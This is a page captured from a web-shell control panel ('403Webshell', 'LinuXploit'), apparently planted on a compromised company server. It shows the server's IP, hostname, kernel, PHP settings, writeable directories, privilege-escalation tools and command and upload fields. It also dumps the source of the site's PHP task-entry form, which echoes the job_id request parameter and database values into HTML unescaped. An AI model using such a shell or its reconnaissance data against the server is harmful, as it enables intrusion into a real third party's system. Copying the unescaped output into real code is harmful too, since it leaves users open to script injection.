403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/onesupportdemo.onesolution.hk/task/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/onesupportdemo.onesolution.hk/task/addform.php
<?php
require_once(__DIR__ . '/../checkuser.php');
session_start();
function addDetail($job_id) {
	global $dbh;

	//-----------------------------------------------------------------------------
	// Find job by id
	//-----------------------------------------------------------------------------
	$sql = "SELECT * FROM sup_job WHERE id = ?";
	$parameters = array($job_id);
	if (!($sth = $dbh->prepare($sql))) {
		throw new Exception("sql prepare statement failure: $sql");
	}
	$sth->setFetchMode(PDO::FETCH_ASSOC);
	if (!$sth->execute($parameters)) {
		throw new Exception("sql execute statement failure: $sql");
	}
	$job = $sth->fetch(PDO::FETCH_ASSOC);
	if (empty($job)) {
		throw new Exception('Job not found!');
	}

	require(__DIR__ . '/add.php');

	//-----------------------------------------------------------------------------
	// Return array parameters
	//-----------------------------------------------------------------------------
	$pending_tasks = array();
	if (Util::isAdmin()) {
		/*$sql = "
SELECT pending.*
FROM sup_job_pending pending
INNER JOIN sup_job job ON job.id = pending.job_id
WHERE job.customer_id = ? AND pending.actived = ? AND pending.deleted = ? AND pending.job_id='-1'
ORDER BY pending.id
";
		$parameters = array($job['customer_id'], 1, 0);
		if (!($sth = $dbh->prepare($sql))) {
			throw new Exception("sql prepare statement failure: $sql");
		}
		$sth->setFetchMode(PDO::FETCH_ASSOC);
		if (!$sth->execute($parameters)) {
			throw new Exception("sql execute statement failure: $sql");
		}
		$pending_tasks = $sth->fetchAll();*/
	}

	//get pendings job

	$sql6 = "select job.*,job_detail.*, job_detail.remarks as job_detail_remarks, job_detail.id as job_detail_id, job_detail.status as job_detail_status, job_pending.id as job_pending_id from sup_job job, sup_job_detail job_detail, sup_job_pending job_pending
	where job.id = job_detail.job_id and job_pending.job_detail_id = job_detail.id and job.customer_id = ? and job_detail.actived = 1 and job_detail.deleted = 0 and job_detail.status = 3 and job_detail.job_id != ? and job.status = ? and ((job.date >= ? and job.job_type = 'JOB') or (job.job_type = 'CALL IN')) and job_detail.follow_up_flag = ? group by job_detail_id";

	if (!($sth6 = $dbh->prepare($sql6))) {
		throw new Exception("sql prepare statement failure: $sql6");
	}
	$sth6->setFetchMode(PDO::FETCH_ASSOC);
	if (!$sth6->execute(array($job["customer_id"], $job["id"], 2, "2014-01-01", 0))) {
		throw new Exception("sql execute statement failure: $sql6");
	}

	$pending_tasks = $sth6->fetchAll();

	$sql = "SELECT column_name FROM information_schema.columns WHERE table_schema = (SELECT DATABASE()) AND table_name = ?";
	$parameters = array('sup_job_detail');
	if (!($sth = $dbh->prepare($sql))) {
		throw new Exception("sql prepare statement failure: $sql");
	}
	$sth->setFetchMode(PDO::FETCH_ASSOC);
	if (!$sth->execute($parameters)) {
		throw new Exception("sql execute statement failure: $sql");
	}
	$job_detail_columns = $sth->fetchAll();

	$job_detail_attributes = array();
	foreach ($job_detail_columns as $column) {
		$column = $column['column_name'];
		$job_detail_attributes[$column] = null;
	}

	$json_details = array();
	/*foreach ($pending_tasks as $pending) {
		$detail = JobPending::convert_to_job_detail($pending, $job_detail_attributes);
		$json_details[] = json_encode($detail);
	}*/
	if (empty($json_details)) {
		$detail = $job_detail_attributes;
		$json_details[] = json_encode($detail);
	}

	return array(
		'job' => $job,
		'json_details' => $json_details,
		'pending_tasks' => $pending_tasks
	);
}
extract(addDetail($_GET['job_id']));

$sql = "SELECT column_name FROM information_schema.columns WHERE table_schema = (SELECT DATABASE()) AND table_name = ?";
$parameters = array('sup_job_detail');
if (!($sth = $dbh->prepare($sql))) {
	throw new Exception("sql prepare statement failure: $sql");
}
$sth->setFetchMode(PDO::FETCH_ASSOC);
if (!$sth->execute($parameters)) {
	throw new Exception("sql execute statement failure: $sql");
}
$columns = $sth->fetchAll();

$defaultJobDetail = array();
foreach ($columns as $column) {
	$column = $column['column_name'];
	$defaultJobDetail[$column] = null;
}

$sql5 = "select * from sup_task_category where deleted = 0 order by task_category_id ASC";
if (!($sth5 = $dbh->prepare($sql5))) {
	throw new Exception("sql prepare statement failure: $sql5");
}

if (!$sth5->execute()) {
	throw new Exception("sql execute statement failure: $sql5");
}
$task_categories = $sth5->fetchAll();

?><!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml"
      xmlns:ng="http://angularjs.org">
<head>

	<?php require(__DIR__ . '/../inc/_head_meta.php'); ?>

	<?php require(__DIR__ . '/../inc/_head_css.php'); ?>

	<style type="text/css">
		body {
			padding-top: 60px; /* 60px to make the container go all the way to the bottom of the topbar */
			padding-bottom: 40px;
		}
	</style>

	<?php require(__DIR__ . '/../inc/_head_script.php'); ?>

	<script type="text/javascript">
		function JobDetailControl($scope) {
			function resetModel() {
				$.extend($scope, <?=json_encode($defaultJobDetail)?>);
			}

			resetModel();
			$.extend($scope, {
				addDetail: function() {
					$scope.details.push({
						<?php
						// Example: title: $scope.title, remarks: $scope.remarks...
						$tmp_values = array();
						foreach ($defaultJobDetail as $key => $value) {
							$tmp_values[] = $key.': $scope.'.$key;
						}
						echo implode(', ', $tmp_values);
						?>
					});
					resetModel();
				},
				removeDetail: function(index) {
					$scope.details.splice(index, 1);
				},
				details: [ <?=isset($json_details) ? implode(', ', $json_details) : ''?> ]
			});
		}
	</script>

	<script type="text/javascript">
		$(function () {
			$(".pending_task").attr("disabled", true);
		});

		function active_pending_task(el, pending_job_detail_id){
			//var pending_job_detail_id = $(el).val();
			if($(el).prop("checked")){
				$(".pending_task_"+pending_job_detail_id).removeAttr("disabled");
			}else{
				$(".pending_task_"+pending_job_detail_id).attr("disabled", true);
			}

		}
	</script>

</head>
<body>

<?php require( __DIR__ . '/../inc/_navbar.php'); ?>

<div class="container">

	<!--<h2>Add Tasks to Job #<?//=h($job['id'])?></h2>-->
	<h2>Add Tasks to Job <?php foreach($_SESSION["all_job_ids"] as $job_id) echo "#".$job_id." ";?></h2>
	<form id="form" class="form-horizontal" method="post">
		<?php $attribute = 'job_id'; ?>
		<input type="hidden" name="<?=$attribute?>" value="<?=$_GET['job_id']?>" />

		<?php
			if(!empty($pending_tasks)){
				$i = 0;
				foreach($pending_tasks as $key => $pending_task){
					?>
					<div>
						<div class="control-group">
							<label class="control-label">#Follow Up Task</label>

							<div class="controls" style="margin-bottom: 20px;">
								<?php $attribute = 'add_to_job'; ?>
								<input type="checkbox" name="pending_task[<?=$i?>][<?= $attribute ?>]" value="1" onclick="active_pending_task(this, <?=$pending_task["id"]?>);" />

								<div style="display: inline-block; position: relative; top:3px;">
									Add to this job
								</div>

							</div>

							<div class="controls">
								<?php $attribute = 'from_job_pending_id'; ?>
								<input type="hidden" name="pending_task[<?=$i;?>][<?=$attribute?>]" value="<?=$pending_task["job_pending_id"]?>" />
								<?php $attribute = 'job_detail_id'; ?>
								<input type="hidden" name="pending_task[<?=$i;?>][<?=$attribute?>]" value="<?=$pending_task["id"]?>" class="pending_task pending_task_<?=$pending_task["id"]?>"/>

								<?php  $attribute = 'task_category_id'; $label = 'Task Category ID';?>
								<select name="pending_task[<?=$i;?>][<?= $attribute ?>]" placeholder="<?= $label ?>" class="required pending_task pending_task_<?=$pending_task["id"]?>">
									<?php
										foreach ($task_categories as $key22 => $task_category) {

											if($task_category["task_category_id"] == $pending_task["task_category_id"])
												$selected = "selected";
											else
												$selected = "";

											echo '<option value="'.$task_category["task_category_id"].'" '.$selected.'>'.$task_category["category_name"].'</option>';

										}
									?>

								</select>
								<br><br>
								<?php $attribute = 'title'; $label = 'Title'; ?>
								<input type="text" name="pending_task[<?=$i;?>][<?=$attribute?>]" placeholder="<?=$label?>" value="<?=$pending_task["title"]?>" class="required pending_task pending_task_<?=$pending_task["id"]?>"/>

							</div>
							<br>
							<?php $attribute = 'remarks'; $label = 'Remarks'; ?>
							<div class="controls">
								<textarea name="pending_task[<?=$i;?>][<?=$attribute?>]" class="span6 textarea_style pending_task pending_task_<?=$pending_task["id"]?>" placeholder="<?=$label?>"><?=$pending_task["job_detail_remarks"]?></textarea>

							</div>


						</div>
					</div>
					<?php $i++; } } ?>

		<hr>

		<div id="ng-app" ng:app="" ng:controller="JobDetailControl">
			<div ng:repeat="detail in details">
				<div class="control-group">
					<label class="control-label">#New Task<!--{{$index+1}}--></label>
					<div class="controls">
						<?php $attribute = 'from_job_pending_id'; ?>
						<input type="hidden" name="job_detail[{{$index+1}}][<?=$attribute?>]" value="{{detail.<?=$attribute?>}}" />

						<?php  $attribute = 'task_category_id'; $label = 'Task Category ID';?>
						<select id="{{detail.id}}" ng:readonly="detail.from_job_pending_id" name="job_detail[{{$index+1}}][<?= $attribute ?>]" class="span2 required" placeholder="<?= $label ?>">

							<?php foreach ($task_categories as $key => $task_category) { ?>
								<option value="<?=$task_category["task_category_id"]?>"><?=$task_category["category_name"]?></option>
							<?php } ?>
						</select>
						<br><br>
						<?php $attribute = 'title'; $label = 'Title'; ?>
						<input ng:readonly="detail.from_job_pending_id" type="text" name="job_detail[{{$index+1}}][<?=$attribute?>]" placeholder="<?=$label?>" value="{{detail.<?=$attribute?>}}" class="required" />

					</div>
					<br>
					<?php $attribute = 'remarks'; $label = 'Remarks'; ?>
					<div class="controls">
						<textarea ng:readonly="detail.from_job_pending_id" name="job_detail[{{$index+1}}][<?=$attribute?>]" class="span6 textarea_style" placeholder="<?=$label?>">{{detail.<?=$attribute?>}}</textarea>
						<button type="button" ng:click="removeDetail($index)" class="btn btn-danger remove-detail-btn">Delete</button>
					</div>
				</div>
			</div>
			<div class="control-group">
				<div class="controls">
					<input type="submit" class="btn btn-primary" value="Save" />
					<button type="button" ng:click="addDetail()" class="btn add-detail-btn">Add Task</button>
				</div>
			</div>
		</div>
	</form>


	<script type="text/javascript">
		$(function() {
			function init() {
				var $removeDetailBtn = $('.remove-detail-btn');
				if ($removeDetailBtn.length > 0) {
					$removeDetailBtn.show();
				} else {
					$removeDetailBtn.hide();
				}
			}
			$(document).on('click', '.add-detail-btn, .remove-detail-btn', function() {
				init();
			});
			init();

			$('#form').validate();
		});
	</script>

	<?php require( __DIR__ . '/../inc/_footer.php'); ?>

</div> <!-- /container -->
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit